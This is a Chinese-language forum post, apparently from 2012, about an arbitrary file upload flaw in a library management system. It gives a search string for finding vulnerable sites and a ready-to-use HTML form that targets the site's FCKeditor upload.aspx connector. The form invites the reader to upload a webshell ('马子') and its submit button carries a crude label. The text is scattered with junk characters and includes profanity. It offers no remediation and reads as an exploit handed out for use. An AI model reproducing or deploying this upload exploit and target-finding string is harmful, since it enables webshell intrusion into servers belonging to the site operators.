主题:图书馆系统任意文件上传漏洞
& k# X3 n! |% Y6 N 作者:冰锋刺客) c$ j$ c- C) {2 S+ o( l* i$ O
厂商:点击书(dianjishu.com)
6 I6 x3 W$ w, v& e 日期:2012-6-21
% i( D# V; N! \% y3 u) q$ `" W
. v0 m5 C! m) ~* t7 h* uI 概述
9 S! x0 O. I% c: X 点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
; u7 G5 p0 N4 I+ |1 Q" w4 b II 简介1 D: {4 I( b. E3 C+ z% f8 D; r
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"
$ k; n: L" [% s8 l- X: w 补充一个漏洞4 A% o) S ^- Q1 S# i
<form id="frmUpload" enctype="multipart/form-data"/ J5 ^2 d# `: t0 o2 H3 g
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>, l; @. f% h. u4 X! H. r! d
<input id="btnUpload" type="submit" value="操翻他">
; Y9 v7 ]+ A+ a9 `" Z0 {# p </form>: W% B9 P* q& a
你们懂的/ g8 ^2 o: t# A( r! H# }# u/ Z0 |8 D
那傻逼提供还需要改包.
1 r1 l& x9 n) r Y) C 自己看了下源代码发现fckeditor
: \" u2 l" ?6 ] 直接秒杀: g- q7 v0 K$ m# s
|
发表于 2012-9-10 21:20:59
收藏
支持
反对